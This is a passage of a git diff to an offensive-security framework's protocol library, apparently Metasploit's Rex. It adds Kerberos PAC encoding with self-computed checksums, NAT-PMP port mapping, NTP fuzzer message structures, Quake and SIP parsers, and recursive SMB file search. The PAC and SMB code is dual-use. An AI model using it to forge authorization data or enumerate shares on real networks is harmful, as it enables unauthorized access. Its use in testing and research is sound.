Rex::Text.to_unicode('') + encoded = '' + encoded << [ + ''.length, + ''.length + ].pack('Q<V') + encoded << unicode + + encoded + end + + # Encodes the home_directory id + # + # @return [String] + def encode_home_directory + unicode = Rex::Text.to_unicode('') + + encoded = '' + encoded << [ + unicode.length, + unicode.length, + 0x20014 + ].pack('vvV') + + encoded + end + + # Encodes the home_directory info (constant) + # + # @return [String] + def encode_home_directory_info + unicode = Rex::Text.to_unicode('') + encoded = '' + encoded << [ + ''.length, + ''.length + ].pack('Q<V') + encoded << unicode + + encoded + end + + # Encodes hte home_directory_drive id + # + # @return [String] + def encode_home_directory_drive + unicode = Rex::Text.to_unicode('') + + encoded = '' + encoded << [ + unicode.length, + unicode.length, + 0x20018 + ].pack('vvV') + encoded + end + + # Encodes the home_directory_drive info (constant) + # + # @return [String] + def encode_home_directory_drive_info + unicode = Rex::Text.to_unicode('') + encoded = '' + encoded << [ + ''.length, + ''.length + ].pack('Q<V') + encoded << unicode + + encoded + end + + # Encodes the logon_count (constant) + # + # @return [String] + def encode_logon_count + [0].pack('v') + end + + # Encodes the bad_password_count (constant) + # + # @return [String] + def encode_bad_password_count + [0].pack('v') + end + + # Encodes the user_id field + # + # @return [String] + def encode_user_id + [user_id].pack('V') + end + + # Encodes the primary_group_id field + # + # @return [String] + def encode_primary_group_id + [primary_group_id].pack('V') + end + + # Encodes the group_count field + # + # @return [String] + def encode_group_count + [group_ids.length].pack('V') + end + + # Encodes the group_ids id + # + # @return [String] + def encode_group_ids + encoded = '' + encoded << [0x2001c].pack('V') + + encoded + end + + # Encodes the group_ids info + # + # @return [String] + def encode_group_ids_info + encoded = '' + encoded << [group_ids.length].pack('V') + group_ids.each do |group| + encoded << [ + group, + SE_GROUP_ALL + ].pack('VV') + end + + encoded + end + + # Encodes the user_flags (constant) + # + # @return [String] + def encode_user_flags + [0].pack('V') + end + + # Encodes the user_session_key (constant) + # + # @return [String] + def encode_user_session_key + [0, 0].pack('Q<Q<') + end + + # Encodes the logon_server id + # + # @return [String] + def encode_logon_server + unicode = Rex::Text.to_unicode('') + + encoded = '' + encoded << [ + unicode.length, + unicode.length, + 0x20020 + ].pack('vvV') + encoded + end + + # Encodes the logon_server info (constant) + # + # @return [String] + def encode_logon_server_info + unicode = Rex::Text.to_unicode('') + encoded = '' + encoded << [ + ''.length, + ''.length + ].pack('Q<V') + encoded << unicode + + encoded + end + + # Encodes the logon_domain_name id + # + # @return [String] + def encode_logon_domain_name + unicode = Rex::Text.to_unicode(logon_domain_name) + + encoded = '' + encoded << [ + unicode.length, + unicode.length, + 0x20024 + ].pack('vvV') + + encoded + end + + # Encodes the logon_domain_name info field + # + # @return [String] + def encode_logon_domain_name_info + unicode = Rex::Text.to_unicode(logon_domain_name) + encoded = '' + encoded << [ + logon_domain_name.length, + logon_domain_name.length + ].pack('Q<V') + encoded << unicode + + encoded + end + + # Encodes the logon_domain_id id + # + # @return [String] + def encode_logon_domain_id + encoded = '' + encoded << [0x20028].pack('V') + + encoded + end + + # Encodes the logon_domain_id info field + # + # @return [String] + def encode_logon_domain_id_info + components = logon_domain_id.split('-') + unless components[0] == 'S' + raise ::RuntimeError, 'PAC-LOGON-INFO encoding failed: incorrect LogonDomainId' + end + components.slice!(0) # Delete the 'S' component + + encoded = '' + encoded << [ + components.length - 2, + components[0].to_i, + components.length - 2 + ].pack('VCC') + + encoded << [ + components[1].to_i >> 16, + components[1].to_i & 0xffff + ].pack('Nn') + + components[2, components.length].each do |c| + encoded << [c.to_i].pack('V') + end + + encoded + end + + # Encodes the reserved_one (constant) + # + # @return [String] + def encode_reserved_one + [0, 0].pack('VV') + end + + # Encodes the user_account_control (constant) + # + # @return [String] + def encode_user_account_control + [USER_NORMAL_ACCOUNT | USER_DONT_EXPIRE_PASSWORD].pack('V') + end + + # Encodes the reserved_three (constant) + # + # @return [String] + def encode_reserved_three + [0, 0, 0, 0, 0, 0, 0].pack('V*') + end + + # Encodes the sid_count (constant) + # + # @return [String] + def encode_sid_count + [0].pack('V') + end + + # Encodes the extra_sids (constant) + # + # @return [String] + def encode_extra_sids + [0].pack('V') + end + + # Encodes the resource_group_domain_sid (constant) + # + # @return [String] + def encode_resource_group_domain_sid + [0].pack('V') + end + + # Encodes the resource_group_count (constant) + # + # @return [String] + def encode_resource_group_count + [0].pack('V') + end + + # Encodes the resource_group_ids (constant) + # + # @return [String] + def encode_resource_group_ids + [0].pack('V') + end + end + end + end + end +end \ No newline at end of file diff --git a/lib/rex/proto/kerberos/pac/priv_svr_checksum.rb b/lib/rex/proto/kerberos/pac/priv_svr_checksum.rb new file mode 100644 index 0000000000..cb3b8ecd43 --- /dev/null +++ b/lib/rex/proto/kerberos/pac/priv_svr_checksum.rb @@ -0,0 +1,29 @@ +# -*- coding: binary -*- + +module Rex + module Proto + module Kerberos + module Pac + # This class provides a representation of a PAC_PRIVSVR_CHECKSUM structure, which contains the + # checksum using the key of the KDC. + class PrivSvrChecksum < Element + + # @!attribute version + # @return [Fixnum] The checksum type + attr_accessor :checksum + + # Encodes the Rex::Proto::Kerberos::Pac::PacPrivSvrChecksum + # + # @return [String] + def encode + encoded = '' + encoded << [checksum].pack('V') + encoded << "\x00" * 16 + + encoded + end + end + end + end + end +end \ No newline at end of file diff --git a/lib/rex/proto/kerberos/pac/server_checksum.rb b/lib/rex/proto/kerberos/pac/server_checksum.rb new file mode 100644 index 0000000000..f155ee181f --- /dev/null +++ b/lib/rex/proto/kerberos/pac/server_checksum.rb @@ -0,0 +1,30 @@ +# -*- coding: binary -*- + +module Rex + module Proto + module Kerberos + module Pac + # This class provides a representation of a PAC_SERVER_CHECKSUM structure, which contains the + # checksum using the key of the server. + class ServerChecksum < Element + + # @!attribute version + # @return [Fixnum] The checksum type + attr_accessor :checksum + + # Encodes the Rex::Proto::Kerberos::Pac::ServerChecksum + # + # @return [String] + def encode + encoded = '' + encoded << [checksum].pack('V') + encoded << "\x00" * 16 + + encoded + end + end + + end + end + end +end \ No newline at end of file diff --git a/lib/rex/proto/kerberos/pac/type.rb b/lib/rex/proto/kerberos/pac/type.rb new file mode 100644 index 0000000000..980461ea02 --- /dev/null +++ b/lib/rex/proto/kerberos/pac/type.rb @@ -0,0 +1,121 @@ +# -*- coding: binary -*- + +module Rex + module Proto + module Kerberos + module Pac + # This class provides a representation of a PAC_TYPE structure, the topmost structure + # of the PAC. + class Type < Element + + # @!attribute buffers + # @return [Array<Rex::Proto::Kerberos::Pac::Element>] The array of PAC_INFO_BUFFER structures + attr_accessor :buffers + # @!attribute checksum + # @return [Fixnum] The type of checksum to use when encoding PAC-TYPE + attr_accessor :checksum + + # Encodes the Rex::Proto::Kerberos::Pac::Type + # + # @return [String] + def encode + offset_one = 0 + offset_two = 0 + + draft = '' + draft << encode_buffers_length + draft << encode_version + draft << encode_pac_info_buffers + + # Encode buffers + buffers.each do |buffer| + if buffer.class == ServerChecksum + offset_one = draft.length + 4 + elsif buffer.class == PrivSvrChecksum + offset_two = draft.length + 4 + end + + buffer_encoded = buffer.encode + draft << buffer_encoded + draft << "\x00" * ((buffer_encoded.length + 7) / 8 * 8 - buffer_encoded.length) + end + + checksum_draft = make_checksum(draft) + double_checksum = make_checksum(checksum_draft) + + encoded = '' + encoded << draft[0..(offset_one - 1)] + encoded << checksum_draft + encoded << draft[(offset_one + checksum_draft.length)..(offset_two - 1)] + encoded << double_checksum + encoded << draft[(offset_two + double_checksum.length)..(draft.length - 1)] + + encoded + end + + private + + # Encodes the number of buffers contained in the PAC + # + # @return [String] + def encode_buffers_length + [buffers.length].pack('V') + end + + # Encodes the PAC version + # + # @return [String] + def encode_version + [VERSION].pack('V') + end + + # Encodes the PAC_INFO_BUFFER data + # + # @return [String] + def encode_pac_info_buffers + offset = 8 + buffers.length * 16 + encoded = '' + buffers.each do |buffer| + case buffer + when ClientInfo + encoded << [PAC_CLIENT_INFO].pack('V') + when LogonInfo + encoded << [PAC_LOGON_INFO].pack('V') + when PrivSvrChecksum + encoded << [PAC_PRIVSVR_CHECKSUM].pack('V') + when ServerChecksum + encoded << [PAC_SERVER_CHECKSUM].pack('V') + end + + buffer_length = buffer.encode.length + + encoded << [buffer_length].pack('V') + encoded << [offset].pack('Q<') + + offset = (offset + buffer_length + 7) / 8 * 8 + end + + encoded + end + + # Calculates the checksum for the PAC data + # + # @param data [String] the data to checksum + # @return [String] the checksum result + # @raise [NotImplementedError] if checksum schema isn't supported + def make_checksum(data) + res = '' + case checksum + when RSA_MD5 + res = checksum_rsa_md5(data) + else + raise ::NotImplementedError, 'PAC-TYPE checksum not supported' + end + + res + end + end + end + end + end +end \ No newline at end of file diff --git a/lib/rex/proto/natpmp/packet.rb b/lib/rex/proto/natpmp/packet.rb index 4ce7c88cba..228b381c43 100644 --- a/lib/rex/proto/natpmp/packet.rb +++ b/lib/rex/proto/natpmp/packet.rb @@ -3,8 +3,6 @@ # # NAT-PMP protocol support # -# by Jon Hart <jhart@spoofed.org> -# ## module Rex @@ -12,33 +10,63 @@ module Proto module NATPMP # Return a NAT-PMP request to get the external address. - def self.external_address_request + def external_address_request [ 0, 0 ].pack('nn') end + def get_external_address(udp_sock, host, port, timeout=1) + vprint_status("#{host}:#{port} - Probing NAT-PMP for external address") + udp_sock.sendto(external_address_request, host, port, 0) + external_address = nil + while (r = udp_sock.recvfrom(12, timeout) and r[1]) + (ver, op, result, epoch, external_address) = parse_external_address_response(r[0]) + if external_address + vprint_good("#{host}:#{port} - NAT-PMP external address is #{external_address}") + break + end + end + external_address + end + # Parse a NAT-PMP external address response +resp+. # Returns the decoded parts of the response as an array. - def self.parse_external_address_response(resp) - (ver, op, result, epoch, addr) = resp.unpack("CCSLN") + def parse_external_address_response(resp) + (ver, op, result, epoch, addr) = resp.unpack("CCnNN") [ ver, op, result, epoch, Rex::Socket::addr_itoa(addr) ] end + def map_port(udp_sock, host, port, int_port, ext_port, protocol, lifetime, timeout=1) + vprint_status("#{host}:#{port} - Sending NAT-PMP mapping request") + # build the mapping request + req = map_port_request(int_port, ext_port, + Rex::Proto::NATPMP.const_get(datastore['PROTOCOL']), datastore['LIFETIME']) + # send it + udp_sock.sendto(req, host, datastore['RPORT'], 0) + # handle the reply + while (r = udp_sock.recvfrom(16, timeout) and r[1]) + (_, _, result, _, _, actual_ext_port, _) = parse_map_port_response(r[0]) + return (result == 0 ? actual_ext_port : nil) + end + nil + end + # Return a NAT-PMP request to map remote port +rport+/+protocol+ to local port +lport+ for +lifetime+ ms - def self.map_port_request(lport, rport, protocol, lifetime) - [ Rex::Proto::NATPMP::Version, # version + def map_port_request(lport, rport, protocol, lifetime) + [ Rex::Proto::NATPMP::Version, # version protocol, # opcode, which is now the protocol we are asking to forward 0, # reserved lport, rport, lifetime - ].pack("ccnnnN") + ].pack("CCnnnN") end # Parse a NAT-PMP mapping response +resp+. # Returns the decoded parts as an array. - def self.parse_map_port_response(resp) - resp.unpack("CCSLnnN") + def parse_map_port_response(resp) + resp.unpack("CCnNnnN") end + end end diff --git a/lib/rex/proto/ntp.rb b/lib/rex/proto/ntp.rb new file mode 100644 index 0000000000..56091f7c6a --- /dev/null +++ b/lib/rex/proto/ntp.rb @@ -0,0 +1,3 @@ +# -*- coding: binary -*- +require 'rex/proto/ntp/constants' +require 'rex/proto/ntp/modes' diff --git a/lib/rex/proto/ntp/constants.rb b/lib/rex/proto/ntp/constants.rb new file mode 100644 index 0000000000..1d64bdd2af --- /dev/null +++ b/lib/rex/proto/ntp/constants.rb @@ -0,0 +1,12 @@ +# -*- coding: binary -*- +module Rex +module Proto +module NTP +VERSIONS = (0..7).to_a +MODES = (0..7).to_a +MODE_6_OPERATIONS = (0..31).to_a +MODE_7_IMPLEMENTATIONS = (0..255).to_a +MODE_7_REQUEST_CODES = (0..255).to_a +end +end +end diff --git a/lib/rex/proto/ntp/modes.rb b/lib/rex/proto/ntp/modes.rb new file mode 100644 index 0000000000..736b13a10a --- /dev/null +++ b/lib/rex/proto/ntp/modes.rb @@ -0,0 +1,130 @@ +# -*- coding: binary -*- + +require 'bit-struct' + +module Rex +module Proto +module NTP + + # A very generic NTP message + # + # Uses the common/similar parts from versions 1-4 and considers everything + # after to be just one big field. For the particulars on the different versions, + # see: + # http://tools.ietf.org/html/rfc958#appendix-B + # http://tools.ietf.org/html/rfc1059#appendix-B + # pages 45/48 of http://tools.ietf.org/pdf/rfc1119.pdf + # http://tools.ietf.org/html/rfc1305#appendix-D + # http://tools.ietf.org/html/rfc5905#page-19 + class NTPGeneric < BitStruct + # 0 1 2 3 + # 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 + # +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ + # |LI | VN | mode| Stratum | Poll | Precision | + # +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ + unsigned :li, 2, default: 0 + unsigned :version, 3, default: 0 + unsigned :mode, 3, default: 0 + unsigned :stratum, 8, default: 0 + unsigned :poll, 8, default: 0 + unsigned :precision, 8, default: 0 + rest :payload + end + + # An NTP control message. Control messages are only specified for NTP + # versions 2-4, but this is a fuzzer so why not try them all... + class NTPControl < BitStruct + # 0 1 2 3 + # 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 + # +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ + # |00 | VN | 6 |R E M| op | Sequence | + # +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ + # | status | association id | + # +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ + # | offset | count | + # +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ + unsigned :reserved, 2, default: 0 + unsigned :version, 3, default: 0 + unsigned :mode, 3, default: 6 + unsigned :response, 1, default: 0 + unsigned :error, 1, default: 0 + unsigned :more, 1, default: 0 + unsigned :operation, 5, default: 0 + unsigned :sequence, 16, default: 0 + unsigned :status, 16, default: 0 + unsigned :association_id, 16, default: 0 + # TODO: there *must* be bugs in the handling of these next two fields! + unsigned :payload_offset, 16, default: 0 + unsigned :payload_size, 16, default: 0 + rest :payload + end + + # An NTP "private" message. Private messages are only specified for NTP + # versions 2-4, but this is a fuzzer so why not try them all... + class NTPPrivate < BitStruct + # 0 1 2 3 + # 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 + # +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ + # |R M| VN | 7 |A| Sequence | Implementation| Req code | + # +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ + # | err | Number of data items | MBZ | Size of data item | + # +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ + unsigned :response, 1, default: 0 + unsigned :more, 1, default: 0 + unsigned :version, 3, default: 0 + unsigned :mode, 3, default: 7 + unsigned :auth, 1, default: 0 + unsigned :sequence, 7, default: 0 + unsigned :implementation, 8, default: 0 + unsigned :request_code, 8, default: 0 + unsigned :error, 4, default: 0 + unsigned :record_count, 12, default: 0 + unsigned :mbz, 4, default: 0 + unsigned :record_size, 12, default: 0 + rest :payload + + def records + records = [] + 1.upto(record_count) do |record_num| + records << payload[record_size*(record_num-1), record_size] + end + records + end + end + + def self.ntp_control(version, operation, payload = nil) + n = NTPControl.new + n.version = version + n.operation = operation + if payload + n.payload_offset = 0 + n.payload_size = payload.size + n.payload = payload + end + n + end + + def self.ntp_private(version, implementation, request_code, payload = nil) + n = NTPPrivate.new + n.version = version + n.implementation = implementation + n.request_code = request_code + n.payload = payload if payload + n + end + + def self.ntp_generic(version, mode) + n = NTPGeneric.new + n.version = version + n.mode = mode + n + end + + # Parses the given message and provides a description about the NTP message inside + def self.describe(message) + ntp = NTPGeneric.new(message) + "#{message.size}-byte version #{ntp.version} mode #{ntp.mode} reply" + end +end +end +end diff --git a/lib/rex/proto/pjl.rb b/lib/rex/proto/pjl.rb index 5b771e8417..172cb42dca 100644 --- a/lib/rex/proto/pjl.rb +++ b/lib/rex/proto/pjl.rb @@ -1,3 +1,4 @@ +# -*- coding: binary -*- # https://en.wikipedia.org/wiki/Printer_Job_Language # See external links for PJL spec diff --git a/lib/rex/proto/pjl/client.rb b/lib/rex/proto/pjl/client.rb index 0a85245af2..268a0768ef 100644 --- a/lib/rex/proto/pjl/client.rb +++ b/lib/rex/proto/pjl/client.rb @@ -1,3 +1,4 @@ +# -*- coding: binary -*- # https://en.wikipedia.org/wiki/Printer_Job_Language # See external links for PJL spec diff --git a/lib/rex/proto/quake.rb b/lib/rex/proto/quake.rb new file mode 100644 index 0000000000..77da275950 --- /dev/null +++ b/lib/rex/proto/quake.rb @@ -0,0 +1,3 @@ +# -*- coding: binary -*- + +require 'rex/proto/quake/message' diff --git a/lib/rex/proto/quake/message.rb b/lib/rex/proto/quake/message.rb new file mode 100644 index 0000000000..9c1920ce23 --- /dev/null +++ b/lib/rex/proto/quake/message.rb @@ -0,0 +1,73 @@ +# -*- coding: binary -*- + +module Rex +module Proto +## +# +# Quake 3 protocol, taken from ftp://ftp.idsoftware.com/idstuff/quake3/docs/server.txt +# +## +module Quake + HEADER = 0xFFFFFFFF + + def decode_message(message) + # minimum size is header (4) + <command> + <stuff> + return if message.length < 7 + header = message.unpack('N')[0] + return if header != HEADER + message[4, message.length] + end + + def encode_message(payload) + [HEADER].pack('N') + payload + end + + def getstatus + encode_message('getstatus') + end + + def getinfo + encode_message('getinfo') + end + + def decode_infostring(infostring) + # decode an "infostring", which is just a (supposedly) quoted string of tokens separated + # by backslashes, generally terminated with a newline + token_re = /([^\\]+)\\([^\\]+)/ + return nil unless infostring =~ token_re + # remove possibly present leading/trailing double quote + infostring.gsub!(/(?:^"|"$)/, '') + # remove the trailing \n, if present + infostring.gsub!(/\n$/, '') + # split on backslashes and group into key value pairs + infohash = {} + infostring.scan(token_re).each do |kv| + infohash[kv.first] = kv.last + end + infohash + end + + def decode_response(message, type) + resp = decode_message(message) + if /^print\n(?<error>.*)\n?/m =~ resp + # XXX: is there a better exception to throw here? + fail ::ArgumentError, "#{type} error: #{error}" + # why doesn't this work? + # elsif /^#{type}Response\n(?<infostring>.*)/m =~ resp + elsif resp =~ /^#{type}Response\n(.*)/m + decode_infostring(Regexp.last_match(1)) + else + nil + end + end + + def decode_status(message) + decode_response(message, 'status') + end + + def decode_info(message) + decode_response(message, 'info') + end +end +end +end diff --git a/lib/rex/proto/sip.rb b/lib/rex/proto/sip.rb new file mode 100644 index 0000000000..3c0098cb54 --- /dev/null +++ b/lib/rex/proto/sip.rb @@ -0,0 +1,4 @@ +# encoding: binary + +# SIP protocol support +require 'rex/proto/sip/response' diff --git a/lib/rex/proto/sip/response.rb b/lib/rex/proto/sip/response.rb new file mode 100644 index 0000000000..3135052471 --- /dev/null +++ b/lib/rex/proto/sip/response.rb @@ -0,0 +1,61 @@ +# encoding: binary + +module Rex + module Proto + # SIP protocol support + module SIP + SIP_STATUS_REGEX = /^SIP\/(\d\.\d) (\d{3})\s*(.*)$/ + + # Represents a generic SIP message + class Message + attr_accessor :headers + + def initialize + @headers = {} + end + + # Returns a list of all values from all +name+ headers, regardless of case, + # or nil if no matching header is found + def header(name) + matches = @headers.select { |k, _| k.downcase == name.downcase } + return nil if matches.empty? + matches.values.flatten + end + + # Returns a hash of header name to values mapping + # from the provided message, or nil if no headers + # are found + def self.extract_headers(message) + pairs = message.scan(/^([^\s:]+):\s*(.*)$/) + return nil if pairs.empty? + headers = {} + pairs.each do |pair| + headers[pair.first] ||= [] + headers[pair.first] << pair.last.strip + end + headers + end + end + + # Represents a SIP response message + class Response < Message + attr_accessor :code, :message, :status_line, :version + + # Parses +data+, constructs and returns a Response + def self.parse(data) + response = Response.new + # do some basic sanity checking on this response to ensure that it is SIP + response.status_line = data.split(/\r\n/)[0] + unless response.status_line && response.status_line =~ SIP_STATUS_REGEX + fail(ArgumentError, "Invalid SIP status line: #{response.status_line}") + end + response.version = Regexp.last_match(1) + response.code = Regexp.last_match(2) + response.message = Regexp.last_match(3) + response.headers = extract_headers(data) + response + end + end + end + end +end diff --git a/lib/rex/proto/smb/client.rb b/lib/rex/proto/smb/client.rb index 6442284688..f3a81c5c60 100644 --- a/lib/rex/proto/smb/client.rb +++ b/lib/rex/proto/smb/client.rb @@ -150,72 +150,116 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils packet.v['ProcessID'] = self.process_id.to_i end - - # The main dispatcher for all incoming SMB packets - def smb_recv_parse(expected_type, ignore_errors = false) + # Receive a full SMB reply and cache the parsed packet + def smb_recv_and_cache + @smb_recv_cache ||= [] # This will throw an exception if it fails to read the whole packet data = self.smb_recv pkt = CONST::SMB_BASE_PKT.make_struct pkt.from_s(data) - res = pkt + + # Store the received packet into the cache + @smb_recv_cache << [ pkt, data, Time.now ] + end + + # Scan the packet receive cache for a matching response + def smb_recv_cache_find_match(expected_type) + + clean = [] + found = nil + + @smb_recv_cache.each do |cent| + pkt, data, tstamp = cent + + # Return matching packets and mark for removal + if pkt['Payload']['SMB'].v['Command'] == expected_type + found = [pkt,data] + clean << cent + end + + # Purge any packets older than 5 minutes + if Time.now.to_i - tstamp.to_i > 300 + clean << cent + end + + break if found + end + + clean.each do |cent| + @smb_recv_cache.delete(cent) + end + + found + end + + # The main dispatcher for all incoming SMB packets + def smb_recv_parse(expected_type, ignore_errors = false) + + pkt = nil + data = nil + + # This allows for some leeway when a previous response has not + # been processed but a new request was sent. The old response + # will eventually be timed out of the cache. + 1.upto(3) do |attempt| + smb_recv_and_cache + pkt,data = smb_recv_cache_find_match(expected_type) + break if pkt + end begin case pkt['Payload']['SMB'].v['Command'] when CONST::SMB_COM_NEGOTIATE - res = smb_parse_negotiate(pkt, data) + res = smb_parse_negotiate(pkt, data) when CONST::SMB_COM_SESSION_SETUP_ANDX - res = smb_parse_session_setup(pkt, data) + res = smb_parse_session_setup(pkt, data) when CONST::SMB_COM_TREE_CONNECT_ANDX - res = smb_parse_tree_connect(pkt, data) + res = smb_parse_tree_connect(pkt, data) when CONST::SMB_COM_TREE_DISCONNECT - res = smb_parse_tree_disconnect(pkt, data) + res = smb_parse_tree_disconnect(pkt, data) when CONST::SMB_COM_NT_CREATE_ANDX - res = smb_parse_create(pkt, data) + res = smb_parse_create(pkt, data) when CONST::SMB_COM_TRANSACTION, CONST::SMB_COM_TRANSACTION2 - res = smb_parse_trans(pkt, data) + res = smb_parse_trans(pkt, data) when CONST::SMB_COM_NT_TRANSACT - res = smb_parse_nttrans(pkt, data) + res = smb_parse_nttrans(pkt, data) when CONST::SMB_COM_NT_TRANSACT_SECONDARY - res = smb_parse_nttrans(pkt, data) + res = smb_parse_nttrans(pkt, data) when CONST::SMB_COM_OPEN_ANDX - res = smb_parse_open(pkt, data) + res = smb_parse_open(pkt, data) when CONST::SMB_COM_WRITE_ANDX - res = smb_parse_write(pkt, data) + res = smb_parse_write(pkt, data) when CONST::SMB_COM_READ_ANDX - res = smb_parse_read(pkt, data) + res = smb_parse_read(pkt, data) when CONST::SMB_COM_CLOSE - res = smb_parse_close(pkt, data) + res = smb_parse_close(pkt, data) when CONST::SMB_COM_DELETE - res = smb_parse_delete(pkt, data) + res = smb_parse_delete(pkt, data) else raise XCEPT::InvalidCommand end - if (pkt['Payload']['SMB'].v['Command'] != expected_type) - raise XCEPT::InvalidType - end - if (ignore_errors == false and pkt['Payload']['SMB'].v['ErrorClass'] != 0) raise XCEPT::ErrorCode end - rescue XCEPT::InvalidWordCount, XCEPT::InvalidCommand, XCEPT::InvalidType, XCEPT::ErrorCode + rescue XCEPT::InvalidWordCount, XCEPT::InvalidCommand, XCEPT::ErrorCode $!.word_count = pkt['Payload']['SMB'].v['WordCount'] $!.command = pkt['Payload']['SMB'].v['Command'] $!.error_code = pkt['Payload']['SMB'].v['ErrorClass'] @@ -1828,6 +1872,7 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils # Enumerates a specific path on the mounted tree def find_first(path) + sid = nil files = { } parm = [ 26, # Search for ALL files @@ -1837,88 +1882,150 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils 0, # Storage type is zero ].pack('vvvvV') + path + "\x00" - begin - resp = trans2(CONST::TRANS2_FIND_FIRST2, parm, '') - search_next = 0 - begin - pcnt = resp['Payload'].v['ParamCount'] - dcnt = resp['Payload'].v['DataCount'] - poff = resp['Payload'].v['ParamOffset'] - doff = resp['Payload'].v['DataOffset'] + resp = trans2(CONST::TRANS2_FIND_FIRST2, parm, '') + search_next = 0 - # Get the raw packet bytes - resp_rpkt = resp.to_s + # Loop until we run out of results + loop do + pcnt = resp['Payload'].v['ParamCount'] + dcnt = resp['Payload'].v['DataCount'] + poff = resp['Payload'].v['ParamOffset'] + doff = resp['Payload'].v['DataOffset'] - # Remove the NetBIOS header - resp_rpkt.slice!(0, 4) + # Get the raw packet bytes + resp_rpkt = resp.to_s - resp_parm = resp_rpkt[poff, pcnt] - resp_data = resp_rpkt[doff, dcnt] + # Remove the NetBIOS header + resp_rpkt.slice!(0, 4) - if search_next == 0 - # search id, search count, end of search, error offset, last name offset - sid, scnt, eos, eoff, loff = resp_parm.unpack('v5') - else - # FINX_NEXT doesn't return a SID - scnt, eos, eoff, loff = resp_parm.unpack('v4') - end - didx = 0 - while (didx < resp_data.length) - info_buff = resp_data[didx, 70] - break if info_buff.length != 70 - info = info_buff.unpack( - 'V'+ # Next Entry Offset - 'V'+ # File Index - 'VV'+ # Time Create - 'VV'+ # Time Last Access - 'VV'+ # Time Last Write - 'VV'+ # Time Change - 'VV'+ # End of File - 'VV'+ # Allocation Size - 'V'+ # File Attributes - 'V'+ # File Name Length - 'V'+ # Extended Attr List Length - 'C'+ # Short File Name Length - 'C' # Reserved - ) - name = resp_data[didx + 70 + 24, info[15]].sub(/\x00+$/n, '') - files[name] = - { - 'type' => ((info[14] & 0x10)==0x10) ? 'D' : 'F', - 'attr' => info[14], - 'info' => info - } + resp_parm = resp_rpkt[poff, pcnt] + resp_data = resp_rpkt[doff, dcnt] - break if info[0] == 0 - didx += info[0] - end - last_search_id = sid - last_offset = loff - last_filename = name - if eos == 0 and last_offset != 0 #If we aren't at the end of the search, run find_next - resp = find_next(last_search_id, last_offset, last_filename) - search_next = 1 # Flip bit so response params will parse correctly - end - end until eos != 0 or last_offset == 0 - rescue ::Exception - raise $! + if search_next == 0 + # search id, search count, end of search, error offset, last name offset + sid, scnt, eos, eoff, loff = resp_parm.unpack('v5') + else + # FIND_NEXT doesn't return a SID + scnt, eos, eoff, loff = resp_parm.unpack('v4') + end + + didx = 0 + while (didx < resp_data.length) + info_buff = resp_data[didx, 70] + break if info_buff.length != 70 + + info = info_buff.unpack( + 'V'+ # Next Entry Offset + 'V'+ # File Index + 'VV'+ # Time Create + 'VV'+ # Time Last Access + 'VV'+ # Time Last Write + 'VV'+ # Time Change + 'VV'+ # End of File + 'VV'+ # Allocation Size + 'V'+ # File Attributes + 'V'+ # File Name Length + 'V'+ # Extended Attr List Length + 'C'+ # Short File Name Length + 'C' # Reserved + ) + + name = resp_data[didx + 70 + 24, info[15]] + + # Verify that the filename was actually present + break unless name + + # Key the file list minus any trailing nulls + files[name.sub(/\x00+$/n, '')] = + { + 'type' => ( info[14] & CONST::SMB_EXT_FILE_ATTR_DIRECTORY == 0 ) ? 'F' : 'D', + 'attr' => info[14], + 'info' => info + } + + break if info[0] == 0 + didx += info[0] + end + + last_search_id = sid + last_offset = loff + last_filename = name + + # Exit the search if we reached the end of our results + break if (eos != 0 or last_search_id.nil? or last_offset.to_i == 0) + + # If we aren't at the end of the search, run find_next + resp = find_next(last_search_id, last_offset, last_filename) + + # Flip bit so response params will parse correctly + search_next = 1 end - return files + files end # Supplements find_first if file/dir count exceeds max search count def find_next(sid, resume_key, last_filename) parm = [ - sid, # Search ID - 20, # Maximum search count (Size of 20 keeps response to 1 packet) - 260, # Level of interest - resume_key, # Resume key from previous (Last name offset) - 6, # Close search if end of search - ].pack('vvvVv') + last_filename.to_s + "\x00" # Last filename returned from find_first or find_next - resp = trans2(CONST::TRANS2_FIND_NEXT2, parm, '') - return resp # Returns the FIND_NEXT2 response packet for parsing by the find_first function + sid, # Search ID + 20, # Maximum search count (Size of 20 keeps response to 1 packet) + 260, # Level of interest + resume_key, # Resume key from previous (Last name offset) + 6, # Close search if end of search + ].pack('vvvVv') + + last_filename.to_s + # Last filename returned from find_first or find_next + "\x00" # Terminate the file name + + # Returns the FIND_NEXT2 response packet for parsing by the find_first function + trans2(CONST::TRANS2_FIND_NEXT2, parm, '') + end + + # Recursively search for files matching a regular expression + def file_search(current_path, regex, depth) + depth -= 1 + return [] if depth < 0 + + results = find_first(current_path + "*") + files = [] + + results.each_pair do |fname, finfo| + + # Skip current and parent directory results + next if %W{. ..}.include?(fname) + + # Verify the results contain an attribute + next unless finfo and finfo['attr'] + + if finfo['attr'] & CONST::SMB_EXT_FILE_ATTR_DIRECTORY == 0 + # Add any matching files to our result set + files << "#{current_path}#{fname}" if fname =~ regex + else + # Recurse into the discovery subdirectory for more files + begin + search_path = "#{current_path}#{fname}\\" + 